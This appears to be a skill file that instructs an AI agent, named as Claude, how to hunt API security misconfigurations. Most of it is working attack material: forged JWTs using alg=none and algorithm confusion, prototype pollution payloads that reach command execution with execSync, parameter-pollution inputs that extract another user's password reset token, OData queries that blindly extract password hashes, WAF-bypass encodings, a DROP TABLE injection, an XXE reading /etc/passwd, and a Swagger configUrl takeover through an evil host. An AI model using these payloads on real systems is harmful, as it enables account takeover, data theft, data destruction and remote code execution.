Hunt API Misconfig Skill for Claude

12. API SECURITY MISCONFIGURATION

Mass Assignment

User.update(req.body)  // body has {"role": "admin"} → privilege escalation

JWT None Algorithm

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature

JWT RS256 → HS256 Algorithm Confusion

# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it

Prototype Pollution

// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin

For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor

JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,

or webhook configuration. Do not stop at a 200 response to __proto__; prove that polluted prototype

state reaches a later operation.

Hunt sequence:

• Find an object-update endpoint. Prefer endpoints that accept many named fields or JSON objects.

Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.

• Pollute harmless marker properties. Send variants such as:

{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337

• Trigger a separate sink. After pollution, request account/profile/admin/job/export/search/render

endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields,

server errors mentioning object properties, changed job output, template/render errors, or command/job

behavior changes.

• Escalate only through learned sinks. Candidate properties depend on the sink:

{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}

• For exfiltration labs or real impact, prefer non-destructive proof. If an admin job, diagnostic,

export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only

when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.

Server-Side Parameter Pollution in Backend URL / REST URL Construction

Use this when a frontend form or endpoint appears to call a server-side API on your behalf

(password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not

ordinary client-side query pollution. The server takes your input and interpolates it into a backend

URL path or query string, such as:

/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email

Hunt sequence:

• Find the flow and read the client request. Fetch the page and any referenced JavaScript. Look

for form actions, fetch(...), hidden CSRF fields, and the exact parameter name the browser sends.

If there is a reset/account form, test known usernames first to learn the normal success/error shape.

• Determine whether input lands in a backend path or query. Send URL metacharacters in the input:

#, ?, &x=y, /, ../, and encoded forms %23, %3f, %26x=y, %2f, %2e%2e%2f.

Distinct errors such as Invalid route, API definition, unsupported field, or changed returned

fields mean your value is being interpreted by a server-side URL router, not merely validated as text.

• Use path traversal to move inside the server-side URL. If username/../other-user changes the

referenced account, the input is in a REST path segment. Then try appending route fragments such as

/field/email, /field/id, /field/username, /field/passwordResetToken, and terminate the rest

of the original backend path with # or %23 when the backend URL parser honors fragments.

• Discover API documentation from errors. When an error says to consult the API definition, probe

common documentation/spec paths: /openapi.json, /swagger.json, /api-docs, /api/swagger.json,

/swagger/v1/swagger.json, /v3/api-docs, and path-traversal variants that attempt to reach the

spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources

and field names.

• Exploit only to prove impact. For password reset/account lookup flows, the strongest proof is a

sensitive field such as a reset token or secret for another user, then using that token in the normal

application flow to complete account takeover. Do not stop at Invalid route; use errors as routing

feedback.

Payload patterns to try, adapted to the observed parameter name:

username=administrator%23
username=administrator%3f
username=administrator%2f..%2fvictimuser
username=administrator/../victimuser
username=administrator/field/email%23
username=administrator/field/id%23
username=administrator/field/passwordResetToken%23
username=administrator%2ffield%2fpasswordResetToken%23

CORS Exploitation

# Test: reflected origin + credentials
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses

OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)

OData (Open Data Protocol) is the query layer behind SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori, and any ASP.NET WebAPI project using Microsoft.AspNetCore.OData. It exposes SQL-shaped query operators (eq, ne, and, or, substringof, startswith, tolower, concat, replace) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.

Attack class 1 — Boolean-logic blind extraction via startswith / substringof

GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')

Iterate prefix character-by-character; cardinality of the response (or @odata.count) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no '/-- characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals password hashes, names, emails, addresses, financial data in Dec 2023; Microsoft patched May 2024. (Stratus Security writeup, The Hacker News coverage Jan 2025)

Attack class 2 — $orderby / $select column-disclosure bypass

GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname

$orderby accepts column names the user has no $select permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection ($select) but NOT on $orderby / $filter — same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; "more dangerous than the first because it directly returned the data" per Stratus.

Attack class 3 — $batch multipart/mixed → per-request WAF signatures miss sub-operations

POST /odata/$batch  Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--

WAFs that scan only the outer request body (or that don't natively parse multipart/mixed) skip every inner operation. ModSecurity refused multipart/mixed historically (Issue #3296); F5 added native batch parsing only in Advanced WAF v16.1 (F5 SAP-Fiori advisory). The 2025 WAFFLED paper (arXiv 2503.10846) generalises the parsing-discrepancy bypass class across 5 major WAFs.

Attack class 4 — Encoded / non-canonical operator → keyword-blacklist bypass

GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201   # URL-encoded $
GET /api?%2524filter=...                                # double-encoded
GET /Users(1)/$value                                    # path-segment style

Mixed-case operators (Eq, EQ) and obscure ones (substringof, tolower, concat, replace) look unlike SELECT/UNION so SQLi-keyword signatures never fire. WAFs that key on the literal string $filter see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. (OWASP Double Encoding)

Attack class 5 — OData → real SQLi when library passes filter raw

$filter=Name eq 'x'); DROP TABLE Users--'

Only triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in OData/WebApi Issue #2352. The XML-deserialisation variant: CVE-2019-17554 (Apache Olingo OData 4.0.0-4.6.0, XXE via <!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]> in application/xml body, CVSS 7.5). DoS variant: CVE-2018-8269 (Microsoft.Data.OData deep $filter recursion → stack overflow).

Bonus — $expand navigation-property IDOR

GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))

Authorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak (UpGuard writeup).

Detection heuristics

• Response headers: OData-Version: 4.0 / DataServiceVersion: 3.0; URL paths /_api/, /odata/, /_vti_bin/, /api/data/v9.x/, /sap/opu/odata/.
• Try $metadata → if anonymous, the full schema (entity sets, navigation properties, function imports) is yours.
• Probe each entity set with $filter=1 eq 1, $top=1, $select=*, then $orderby=<column-you-shouldnt-see> for column-level ACL.
• Send the same payload three ways ($filter=, %24filter=, %2524filter=) and through $batch — divergent WAF behaviour confirms the parser-discrepancy bug.

NSwag / Swagger / OpenAPI Spec Exposure (2024-2026 surface)

NSwag is the Swagger/OpenAPI toolchain for ASP.NET Core. Default routes (/swagger, /swagger/v1/swagger.json, /swagger/index.html) ship enabled in many .NET 6/7/8 projects and developers leave them on in production. The exposed spec discloses every endpoint, HTTP methods, parameter names + types + formats + max-lengths, models, validation rules — a complete attack-map in JSON.

Default discovery paths (cross-references web2-recon)

# NSwag / Swashbuckle (ASP.NET Core)
/swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json
/swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs
/nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json

# Generic OpenAPI
/openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json

# Java / Spring (Springfox / springdoc)
/v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources

# Python (FastAPI / Connexion)
/docs, /redoc, /openapi.json

# Quarkus
/q/openapi, /q/swagger-ui

# GraphQL adjacent
/graphql, /graphiql, /playground, /altair, /voyager

Tools: kiterunner natively eats OpenAPI; sj (Swagger Jacker), apidetector, XSSwagger.

Attack chains

A. Spec disclosure → mass IDOR / BOLA. Spec lists every GET /api/v1/users/{userId}/.... jq '.paths | keys' swagger.json → swap {userId} for victim's ID via Autorize/ffuf -mc 200. Common case: spec leaks /api/admin/users/{id}/reset-password documented but missing [Authorize(Roles="Admin")] on the controller — low-priv ATO.

B. Spec disclosure → mass-assignment payload construction. components.schemas.UserUpdateDto enumerates every model field including isAdmin, emailVerified, tenantId, role. Attacker copies the schema verbatim into PATCH /users/me and adds the privileged fields. Server's [FromBody] binder accepts them when DTOs aren't split into read-vs-write models.

C. Hidden endpoints. Specs document /internal/*, /debug/*, /v0/*, /legacy/* routes that no front-end UI references. Reachable but uncovered by WAF rules and often skipped during auth reviews.

D. Swagger UI configUrl takeover. Swagger UI loads its config from ?configUrl=. If unsanitised, attacker hosts an evil OpenAPI spec, sends victim a link to the *legitimate* Swagger UI with ?configUrl=https://evil/spec.json. Spec routes point back at the legitimate origin so the victim's "Try It Out" clicks fire same-origin authenticated requests. (HackerOne #3124103 — U.S. DoD Swagger UI Injection, May 2025)

Disclosed cases

• CVE-2018-25031 — Swagger UI ≤ 4.1.2 spec-injection via URL parameter; affects org.webjars:swagger-ui broadly (embedded in Swashbuckle and NSwag bundles).
• Swagger UI DOM XSS (3.14.1 → 3.38.0) — outdated bundled DOMPurify + remote-spec-load → arbitrary JS in victim browser (Vidoc Security Lab writeup, PortSwigger Daily Swig). Reported live on PayPal, Atlassian, Microsoft, GitLab, Yahoo.
• HackerOne #3124103 — U.S. Department of Defense, Swagger UI Injection (May 2025).
• HackerOne #2534300 — Ionity GmbH, HTML injection in Swagger UI.
• HackerOne #1656650 — Reflected XSS via Swagger UI url= parameter.
• CloudSEK threat-intel (2024) — actors abuse exposed swagger-ui to invoke a verified-business WhatsApp send-message endpoint, impersonating the company to its customers. 6,000+ exposed Swagger UI instances on Shodan at time of writing. (CloudSEK report)
• CVE-2023-38337 — rswag (Ruby Swagger toolchain) directory traversal — reminder that the spec endpoint is itself an attack surface.

Detection checklist

• httpx-probe every path above across the full subdomain set; flag 200 with Content-Type: application/json AND body matching "swagger" or "openapi".
• For every hit: jq '.paths | keys' swagger.json → feed to kiterunner / Autorize.
• jq '.components.schemas' swagger.json → mass-assignment field candidates.
• Banner the Swagger UI HTML for version string; map to the CVE-2018-25031 / DOM-XSS table.
• Test ?configUrl= and ?url= parameter handling on every Swagger UI hit.

Related Skills & Chains

• hunt-ato — Mass assignment on signup/profile is the fastest path to admin. Chain primitive: API mass assignment + hunt-ato → role=admin set on signup → ATO via privileged role on first login.
• hunt-auth-bypass — JWT flaws collapse the entire auth layer. Chain primitive: JWT alg=none + hunt-auth-bypass → impersonate any user by setting sub to victim ID, no signature required.
• hunt-rce — Prototype pollution gadgets in Node.js dependencies (lodash, mongoose, jQuery) reach child_process.spawn. Chain primitive: Prototype pollution (__proto__.shell=true) + hunt-rce (Node.js gadget chain) → RCE on the API node.
• hunt-subdomain — CORS regex with wildcard subdomain trusts a takeoverable host. Chain primitive: CORS allowlist *.target.com + subdomain takeover → attacker-controlled origin reads credentialed API responses.
• security-arsenal — Load the JWT Attack Payloads section (alg=none, kid path traversal, JWK injection, embedded JWK) and the Mass-Assignment Field Wordlist (is_admin, role, verified, permissions, org_id, tenant_id).
• triage-validation — Apply the Server-Policy-vs-State gate: a permissive CORS header alone is informational; demonstrate actual cross-origin credentialed read of sensitive data before reporting.